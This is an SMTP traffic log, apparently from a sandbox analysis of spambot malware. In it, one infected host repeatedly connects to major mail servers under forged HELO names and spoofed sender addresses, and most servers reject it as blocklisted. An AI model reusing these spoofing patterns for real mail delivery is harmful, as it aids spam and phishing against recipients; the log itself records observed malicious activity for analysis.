Jan 7, 2022 15:54:34.828872919 CET	25	49813	77.88.21.249	192.168.2.3	250 2.1.0 <cyber.martin@mail.lycos.com> ok 1641567274-Si04IFeMsx-sYemOGhj
Jan 7, 2022 15:54:34.832535982 CET	49813	25	192.168.2.3	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:54:34.900902987 CET	25	49813	77.88.21.249	192.168.2.3	550 5.7.1 No such user! 1641567274-Si04IFeMsx-sYemOGhj
Jan 7, 2022 15:54:34.901246071 CET	49813	25	192.168.2.3	77.88.21.249	QUIT
Jan 7, 2022 15:54:34.953619003 CET	25	49813	77.88.21.249	192.168.2.3	221 2.0.0 Closing connecton
Jan 7, 2022 15:54:35.768982887 CET	25	49814	67.195.228.86	192.168.2.3	220 mtaproxy116.aol.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:54:35.773087025 CET	49814	25	192.168.2.3	67.195.228.86	HELO mx-aol.mail.gm0.yahoodns.net
Jan 7, 2022 15:54:35.936180115 CET	25	49814	67.195.228.86	192.168.2.3	250 mtaproxy116.aol.mail.gq1.yahoo.com
Jan 7, 2022 15:54:35.936320066 CET	49814	25	192.168.2.3	67.195.228.86	MAIL FROM: <sec@aol.com>
Jan 7, 2022 15:54:36.099483013 CET	25	49814	67.195.228.86	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:54:36.099606037 CET	49814	25	192.168.2.3	67.195.228.86	QUIT
Jan 7, 2022 15:54:36.933161974 CET	25	49815	74.208.5.20	192.168.2.3	554-mail.com (mxgmxus007) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:37.210290909 CET	25	49816	74.208.5.22	192.168.2.3	554-mail.com (mxgmxus005) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:54:42.766947985 CET	25	49817	213.186.119.6	192.168.2.3	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:54:42 +0200
Jan 7, 2022 15:54:43.027718067 CET	25	49817	213.186.119.6	192.168.2.3	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:54:42 +0200
Jan 7, 2022 15:54:45.085453987 CET	49817	25	192.168.2.3	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:54:45.148072004 CET	25	49817	213.186.119.6	192.168.2.3	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:54:45.148188114 CET	49817	25	192.168.2.3	213.186.119.6	MAIL FROM: <secur@bigmir.net>
Jan 7, 2022 15:54:45.171660900 CET	25	49820	108.177.119.26	192.168.2.3	220 mx.google.com ESMTP d8si2657189edr.423 - gsmtp
Jan 7, 2022 15:54:45.171791077 CET	49820	25	192.168.2.3	108.177.119.26	HELO gmail-smtp-in.l.google.com
Jan 7, 2022 15:54:45.202090979 CET	25	49820	108.177.119.26	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:54:45.202202082 CET	49820	25	192.168.2.3	108.177.119.26	MAIL FROM: <anna.anderson@care2.com>
Jan 7, 2022 15:54:45.210946083 CET	25	49817	213.186.119.6	192.168.2.3	250 OK
Jan 7, 2022 15:54:45.211070061 CET	49817	25	192.168.2.3	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:54:45.229823112 CET	25	49820	108.177.119.26	192.168.2.3	250 2.1.0 OK d8si2657189edr.423 - gsmtp
Jan 7, 2022 15:54:45.229990005 CET	49820	25	192.168.2.3	108.177.119.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:54:45.289252043 CET	25	49817	213.186.119.6	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:54:45.289397001 CET	49817	25	192.168.2.3	213.186.119.6	QUIT
Jan 7, 2022 15:54:45.350059032 CET	25	49817	213.186.119.6	192.168.2.3	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:54:45.392757893 CET	25	49820	108.177.119.26	192.168.2.3	250 2.1.5 OK d8si2657189edr.423 - gsmtp
Jan 7, 2022 15:54:45.392937899 CET	49820	25	192.168.2.3	108.177.119.26	DATA
Jan 7, 2022 15:54:45.420129061 CET	25	49820	108.177.119.26	192.168.2.3	354 Go ahead d8si2657189edr.423 - gsmtp
Jan 7, 2022 15:54:45.739308119 CET	49820	25	192.168.2.3	108.177.119.26	. QUIT
Jan 7, 2022 15:54:46.666945934 CET	25	49822	148.163.149.218	192.168.2.3	220 mx0a-0028be01.pphosted.com ESMTP pe-m0112885
Jan 7, 2022 15:54:46.668817043 CET	49822	25	192.168.2.3	148.163.149.218	HELO mxa-0028be01.gslb.pphosted.com
Jan 7, 2022 15:54:46.861694098 CET	25	49822	148.163.149.218	192.168.2.3	250 mx0a-0028be01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:54:46.864818096 CET	49822	25	192.168.2.3	148.163.149.218	MAIL FROM: <brian.allen@care2.com>
Jan 7, 2022 15:54:47.057106972 CET	25	49822	148.163.149.218	192.168.2.3	250 2.1.0 Sender ok
Jan 7, 2022 15:54:47.057332993 CET	49822	25	192.168.2.3	148.163.149.218	RCPT TO: <wagnerkd@wxyz.com>
Jan 7, 2022 15:54:47.250127077 CET	25	49822	148.163.149.218	192.168.2.3	250 2.1.5 Recipient ok
Jan 7, 2022 15:54:47.255968094 CET	49822	25	192.168.2.3	148.163.149.218	DATA
Jan 7, 2022 15:54:47.458118916 CET	25	49822	148.163.149.218	192.168.2.3	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:54:48.983244896 CET	49822	25	192.168.2.3	148.163.149.218	. QUIT
Jan 7, 2022 15:54:49.087291956 CET	25	49823	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:54:49 +0200
Jan 7, 2022 15:54:49.087414026 CET	49823	25	192.168.2.3	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:54:49.132406950 CET	25	49823	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:54:49.132540941 CET	49823	25	192.168.2.3	193.239.68.121	MAIL FROM: <brian.king@fastmail.fm>
Jan 7, 2022 15:54:49.172722101 CET	25	49822	148.163.149.218	192.168.2.3	550 5.7.0 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96 221 2.0.0 mx0a-0028be01.pphosted.com Closing connection
Jan 7, 2022 15:54:49.178498030 CET	25	49823	193.239.68.121	192.168.2.3	250 OK
Jan 7, 2022 15:54:49.178643942 CET	49823	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:54:49.226875067 CET	25	49823	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:54:49.227195978 CET	49823	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:54:49.273744106 CET	25	49823	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:54:49.316416025 CET	25	49824	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:54:49 +0200
Jan 7, 2022 15:54:49.316553116 CET	49824	25	192.168.2.3	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:54:49.358778000 CET	25	49824	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:54:49.358937025 CET	49824	25	192.168.2.3	193.239.68.121	MAIL FROM: <brian.king@fastmail.fm>
Jan 7, 2022 15:54:49.401720047 CET	25	49824	193.239.68.121	192.168.2.3	250 OK
Jan 7, 2022 15:54:49.401849985 CET	49824	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:54:49.445664883 CET	25	49824	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:54:49.445848942 CET	49824	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:54:49.488266945 CET	25	49824	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:54:49.864651918 CET	25	49826	194.152.32.72	192.168.2.3	220-timmy2-world.inbox.lv ESMTP
Jan 7, 2022 15:54:49.864823103 CET	49826	25	192.168.2.3	194.152.32.72	HELO mx1.inbox.lv
Jan 7, 2022 15:54:49.906976938 CET	25	49826	194.152.32.72	192.168.2.3	250 timmy2-world.inbox.lv
Jan 7, 2022 15:54:49.908173084 CET	49826	25	192.168.2.3	194.152.32.72	MAIL FROM: <debby.molly@mail.lycos.com>
Jan 7, 2022 15:54:49.950320959 CET	25	49826	194.152.32.72	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:49.950512886 CET	49826	25	192.168.2.3	194.152.32.72	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:49.992449045 CET	25	49826	194.152.32.72	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:49.992666006 CET	49826	25	192.168.2.3	194.152.32.72	QUIT
Jan 7, 2022 15:54:50.035171032 CET	25	49826	194.152.32.72	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:50.077218056 CET	25	49828	194.152.32.73	192.168.2.3	220-timmy3-world.inbox.lv ESMTP
Jan 7, 2022 15:54:50.077445984 CET	49828	25	192.168.2.3	194.152.32.73	HELO mx2.inbox.lv
Jan 7, 2022 15:54:50.120204926 CET	25	49828	194.152.32.73	192.168.2.3	250 timmy3-world.inbox.lv
Jan 7, 2022 15:54:50.120398045 CET	49828	25	192.168.2.3	194.152.32.73	MAIL FROM: <debby.molly@mail.lycos.com>
Jan 7, 2022 15:54:50.163628101 CET	25	49828	194.152.32.73	192.168.2.3	250 2.1.0 Ok
Jan 7, 2022 15:54:50.163772106 CET	49828	25	192.168.2.3	194.152.32.73	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:54:50.205400944 CET	25	49828	194.152.32.73	192.168.2.3	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:54:50.205573082 CET	49828	25	192.168.2.3	194.152.32.73	QUIT
Jan 7, 2022 15:54:50.249010086 CET	25	49828	194.152.32.73	192.168.2.3	221 2.0.0 Bye
Jan 7, 2022 15:54:50.737867117 CET	25	49829	104.47.18.225	192.168.2.3	220 VI1EUR06FT054.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:50 +0000
Jan 7, 2022 15:54:50.737984896 CET	49829	25	192.168.2.3	104.47.18.225	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:50.765652895 CET	25	49829	104.47.18.225	192.168.2.3	250 VI1EUR06FT054.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:50.765790939 CET	49829	25	192.168.2.3	104.47.18.225	MAIL FROM: <jerry.joe@goowy.com>
Jan 7, 2022 15:54:50.793984890 CET	25	49829	104.47.18.225	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [VI1EUR06FT054.eop-eur06.prod.protection.outlook.com]
Jan 7, 2022 15:54:50.794195890 CET	49829	25	192.168.2.3	104.47.18.225	QUIT
Jan 7, 2022 15:54:53.020879984 CET	25	49831	104.47.70.33	192.168.2.3	220 BN7NAM10FT049.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:52 +0000
Jan 7, 2022 15:54:53.021023035 CET	49831	25	192.168.2.3	104.47.70.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:53.124288082 CET	25	49831	104.47.70.33	192.168.2.3	250 BN7NAM10FT049.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:53.125235081 CET	49831	25	192.168.2.3	104.47.70.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:54:53.229455948 CET	25	49831	104.47.70.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN7NAM10FT049.eop-nam10.prod.protection.outlook.com]
Jan 7, 2022 15:54:53.230567932 CET	49831	25	192.168.2.3	104.47.70.33	QUIT
Jan 7, 2022 15:54:55.030370951 CET	25	49833	104.47.22.161	192.168.2.3	220 DB8EUR06FT019.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:54 +0000
Jan 7, 2022 15:54:55.030503988 CET	49833	25	192.168.2.3	104.47.22.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:55.076592922 CET	25	49833	104.47.22.161	192.168.2.3	250 DB8EUR06FT019.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:55.076733112 CET	49833	25	192.168.2.3	104.47.22.161	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:54:55.122713089 CET	25	49833	104.47.22.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DB8EUR06FT019.eop-eur06.prod.protection.outlook.com]
Jan 7, 2022 15:54:55.122795105 CET	49833	25	192.168.2.3	104.47.22.161	QUIT
Jan 7, 2022 15:54:56.613389969 CET	25	49834	104.47.58.161	192.168.2.3	220 BN8NAM11FT052.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:55 +0000
Jan 7, 2022 15:54:56.613655090 CET	49834	25	192.168.2.3	104.47.58.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:56.716571093 CET	25	49834	104.47.58.161	192.168.2.3	250 BN8NAM11FT052.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:56.716706038 CET	49834	25	192.168.2.3	104.47.58.161	MAIL FROM: <secur@msn.com>
Jan 7, 2022 15:54:56.820375919 CET	25	49834	104.47.58.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN8NAM11FT052.eop-nam11.prod.protection.outlook.com]
Jan 7, 2022 15:54:56.820547104 CET	49834	25	192.168.2.3	104.47.58.161	QUIT
Jan 7, 2022 15:54:58.454730034 CET	25	49835	104.47.58.33	192.168.2.3	220 DM6NAM10FT009.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:57 +0000
Jan 7, 2022 15:54:58.454911947 CET	49835	25	192.168.2.3	104.47.58.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:58.582149029 CET	25	49836	104.47.70.33	192.168.2.3	220 BN7NAM10FT066.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:57 +0000
Jan 7, 2022 15:54:58.585601091 CET	49836	25	192.168.2.3	104.47.70.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:58.589804888 CET	25	49835	104.47.58.33	192.168.2.3	250 DM6NAM10FT009.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:58.589950085 CET	49835	25	192.168.2.3	104.47.58.33	MAIL FROM: <helen.hernandez@mail.aim.com>
Jan 7, 2022 15:54:58.688429117 CET	25	49836	104.47.70.33	192.168.2.3	250 BN7NAM10FT066.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:58.688693047 CET	49836	25	192.168.2.3	104.47.70.33	MAIL FROM: <secur@msn.com>
Jan 7, 2022 15:54:58.724718094 CET	25	49835	104.47.58.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM10FT009.eop-nam10.prod.protection.outlook.com]
Jan 7, 2022 15:54:58.724961996 CET	49835	25	192.168.2.3	104.47.58.33	QUIT
Jan 7, 2022 15:54:58.792304993 CET	25	49836	104.47.70.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN7NAM10FT066.eop-nam10.prod.protection.outlook.com]
Jan 7, 2022 15:54:58.792577028 CET	49836	25	192.168.2.3	104.47.70.33	QUIT
Jan 7, 2022 15:54:59.253604889 CET	25	49837	104.47.59.161	192.168.2.3	220 DM6NAM12FT007.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:54:58 +0000
Jan 7, 2022 15:54:59.253750086 CET	49837	25	192.168.2.3	104.47.59.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:54:59.387768984 CET	25	49837	104.47.59.161	192.168.2.3	250 DM6NAM12FT007.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:54:59.388566971 CET	49837	25	192.168.2.3	104.47.59.161	MAIL FROM: <garcia1962@hotmail.com>
Jan 7, 2022 15:54:59.520639896 CET	25	49837	104.47.59.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM12FT007.eop-nam12.prod.protection.outlook.com]
Jan 7, 2022 15:54:59.520754099 CET	49837	25	192.168.2.3	104.47.59.161	QUIT
Jan 7, 2022 15:55:02.060859919 CET	25	49839	104.47.70.33	192.168.2.3	220 BN7NAM10FT058.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:01 +0000
Jan 7, 2022 15:55:02.060990095 CET	49839	25	192.168.2.3	104.47.70.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:02.163646936 CET	25	49839	104.47.70.33	192.168.2.3	250 BN7NAM10FT058.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:02.170790911 CET	49839	25	192.168.2.3	104.47.70.33	MAIL FROM: <lisa.harris@inbox.com>
Jan 7, 2022 15:55:02.275803089 CET	25	49839	104.47.70.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN7NAM10FT058.eop-nam10.prod.protection.outlook.com]
Jan 7, 2022 15:55:02.275921106 CET	49839	25	192.168.2.3	104.47.70.33	QUIT
Jan 7, 2022 15:55:08.918241978 CET	25	49840	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:55:08 +0200
Jan 7, 2022 15:55:08.918391943 CET	49840	25	192.168.2.3	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:55:08.963644028 CET	25	49842	104.47.13.33	192.168.2.3	220 HE1EUR04FT003.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:08 +0000
Jan 7, 2022 15:55:08.963759899 CET	49842	25	192.168.2.3	104.47.13.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:08.963944912 CET	25	49840	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:55:08.964035034 CET	49840	25	192.168.2.3	193.239.68.121	MAIL FROM: <serv@bigmir.net>
Jan 7, 2022 15:55:09.005289078 CET	25	49842	104.47.13.33	192.168.2.3	250 HE1EUR04FT003.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:09.005387068 CET	49842	25	192.168.2.3	104.47.13.33	MAIL FROM: <gerhard.wright@mail.aim.com>
Jan 7, 2022 15:55:09.008683920 CET	25	49840	193.239.68.121	192.168.2.3	250 OK
Jan 7, 2022 15:55:09.008873940 CET	49840	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:55:09.047843933 CET	25	49842	104.47.13.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [HE1EUR04FT003.eop-eur04.prod.protection.outlook.com]
Jan 7, 2022 15:55:09.047982931 CET	49842	25	192.168.2.3	104.47.13.33	QUIT
Jan 7, 2022 15:55:09.054733038 CET	25	49840	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:55:09.054897070 CET	49840	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:55:09.099562883 CET	25	49840	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:55:09.141195059 CET	25	49843	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:55:09 +0200
Jan 7, 2022 15:55:09.141362906 CET	49843	25	192.168.2.3	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:55:09.183491945 CET	25	49843	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:55:09.183655977 CET	49843	25	192.168.2.3	193.239.68.121	MAIL FROM: <serv@bigmir.net>
Jan 7, 2022 15:55:09.225712061 CET	25	49843	193.239.68.121	192.168.2.3	250 OK
Jan 7, 2022 15:55:09.225850105 CET	49843	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:55:09.269100904 CET	25	49843	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:55:09.269231081 CET	49843	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:55:09.311244011 CET	25	49843	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:55:10.787976027 CET	25	49844	104.47.73.161	192.168.2.3	220 MW2NAM04FT019.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:10 +0000
Jan 7, 2022 15:55:10.788189888 CET	49844	25	192.168.2.3	104.47.73.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:10.955641031 CET	25	49844	104.47.73.161	192.168.2.3	250 MW2NAM04FT019.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:10.955818892 CET	49844	25	192.168.2.3	104.47.73.161	MAIL FROM: <george.nelson@yahoo.com>
Jan 7, 2022 15:55:11.122456074 CET	25	49844	104.47.73.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [MW2NAM04FT019.eop-NAM04.prod.protection.outlook.com]
Jan 7, 2022 15:55:11.122665882 CET	49844	25	192.168.2.3	104.47.73.161	QUIT
Jan 7, 2022 15:55:11.466465950 CET	25	49846	104.47.73.161	192.168.2.3	220 MW2NAM04FT009.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:10 +0000
Jan 7, 2022 15:55:11.468872070 CET	49846	25	192.168.2.3	104.47.73.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:11.635832071 CET	25	49846	104.47.73.161	192.168.2.3	250 MW2NAM04FT009.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:11.635991096 CET	49846	25	192.168.2.3	104.47.73.161	MAIL FROM: <brenda.thomas@mail.lycos.com>
Jan 7, 2022 15:55:11.662763119 CET	25	49852	104.47.73.161	192.168.2.3	220 MW2NAM04FT031.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:10 +0000
Jan 7, 2022 15:55:11.662899971 CET	49852	25	192.168.2.3	104.47.73.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:11.804127932 CET	25	49846	104.47.73.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [MW2NAM04FT009.eop-NAM04.prod.protection.outlook.com]
Jan 7, 2022 15:55:11.804251909 CET	49846	25	192.168.2.3	104.47.73.161	QUIT
Jan 7, 2022 15:55:12.113579035 CET	25	49855	104.47.13.33	192.168.2.3	220 HE1EUR04FT019.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:11 +0000
Jan 7, 2022 15:55:12.113727093 CET	49855	25	192.168.2.3	104.47.13.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:12.139842987 CET	25	49853	104.47.73.161	192.168.2.3	220 MW2NAM04FT006.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:11 +0000
Jan 7, 2022 15:55:12.139945030 CET	49853	25	192.168.2.3	104.47.73.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:12.155165911 CET	25	49855	104.47.13.33	192.168.2.3	250 HE1EUR04FT019.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:12.155256987 CET	49855	25	192.168.2.3	104.47.13.33	MAIL FROM: <cyber_vhquk@mail.lycos.com>
Jan 7, 2022 15:55:12.193044901 CET	49852	25	192.168.2.3	104.47.73.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:12.197525978 CET	25	49855	104.47.13.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [HE1EUR04FT019.eop-eur04.prod.protection.outlook.com]
Jan 7, 2022 15:55:12.197648048 CET	49855	25	192.168.2.3	104.47.13.33	QUIT
Jan 7, 2022 15:55:12.278290033 CET	25	49852	104.47.73.161	192.168.2.3	250 MW2NAM04FT031.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:12.278424025 CET	49852	25	192.168.2.3	104.47.73.161	MAIL FROM: <secur@msn.com>
Jan 7, 2022 15:55:12.306765079 CET	25	49853	104.47.73.161	192.168.2.3	250 MW2NAM04FT006.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:12.306869984 CET	49853	25	192.168.2.3	104.47.73.161	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:55:12.445281982 CET	25	49852	104.47.73.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [MW2NAM04FT031.eop-NAM04.prod.protection.outlook.com]
Jan 7, 2022 15:55:12.445416927 CET	49852	25	192.168.2.3	104.47.73.161	QUIT
Jan 7, 2022 15:55:12.474345922 CET	25	49853	104.47.73.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [MW2NAM04FT006.eop-NAM04.prod.protection.outlook.com]
Jan 7, 2022 15:55:12.474471092 CET	49853	25	192.168.2.3	104.47.73.161	QUIT
Jan 7, 2022 15:55:13.848592043 CET	25	49858	67.195.228.86	192.168.2.3	220 mtaproxy115.aol.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:55:13.848779917 CET	49858	25	192.168.2.3	67.195.228.86	HELO mx-aol.mail.gm0.yahoodns.net
Jan 7, 2022 15:55:14.013921976 CET	25	49858	67.195.228.86	192.168.2.3	250 mtaproxy115.aol.mail.gq1.yahoo.com
Jan 7, 2022 15:55:14.014091969 CET	49858	25	192.168.2.3	67.195.228.86	MAIL FROM: <john.rodriguez@hotmail.com>
Jan 7, 2022 15:55:14.179847956 CET	25	49858	67.195.228.86	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:55:14.180012941 CET	49858	25	192.168.2.3	67.195.228.86	QUIT
Jan 7, 2022 15:55:15.453859091 CET	25	49866	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:55:15 +0200
Jan 7, 2022 15:55:15.453995943 CET	49866	25	192.168.2.3	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:55:15.501570940 CET	25	49866	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:55:15.503278971 CET	49866	25	192.168.2.3	193.239.68.121	MAIL FROM: <gerhard.green@hotmail.com>
Jan 7, 2022 15:55:15.551193953 CET	25	49866	193.239.68.121	192.168.2.3	250 OK
